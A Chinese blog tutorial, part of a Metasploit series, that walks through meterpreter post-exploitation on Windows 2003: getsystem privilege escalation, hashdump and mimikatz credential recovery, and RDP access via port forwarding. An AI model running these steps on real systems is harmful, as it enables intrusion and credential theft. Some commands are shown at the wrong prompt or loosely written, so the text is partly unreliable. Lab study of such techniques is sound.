版权声明:本文为博主原创文章,转载必须写明出处。
通过metasploit 框架反弹shell
win 2003 提权与远程连接
通过[metasploit渗透第一篇](http://blog.csdn.net/qq_38341596/article/details/78566081)我们已经获得了windows用户的普通权限,相信大家不会满足于这样,因为普通用户的权限的限制大,从现在开始我们就学习windows系统的提权,因为win 2003 ,win xp , win 7/8系统的提权方式一样,所以在这篇我就统一了。至于win10我就放在metasploit渗透第三篇。
实现步骤:
- 提权
- 获取用户的hash密码
- 对用户的hash密码解码
进行对win 2003的远程桌面连接
1. 提权
> meterpreter > getuid //获取用户的服务器运行
Server username: AAA\Administrator
> meterpreter >getsystem //利用已自漏洞,自动提权为SYSTEM
...got system via technique 1 (Named Pipe Impersonation (InMemory/Admin)).
> meterpreter > getuid ////再次查看用户
Server username: NTAUTHORITY\SYSTEM
- 获取用户的hash密码
通过提权我们已经进入了对方系统的最高权限,接下来我们获取用户密码,我们使用back退出当前用户,回到meterpreter权限。
>meterpreter >Hashdump //获取密码
>meterpreter >run post/windows/gather/hashdump //加载解密模块
3.对用户的hash密码解码
meterpreter > load mimikatz //加载法国神器
meterpreter >Kerberos //解密
4.对win 2003的远程桌面连接
meterpreter > portfwd add -l 8888 -r 192.168.254.101 -p 3389 //端口转发
新窗口打开》》
meterpreter >rdesktop -a 32 127.0.0.1:8888 -u Administrator -p 123456
meterpreter >rdesktop 192.168.0.128 -u administrator -p 123456 //进入kali的远程桌面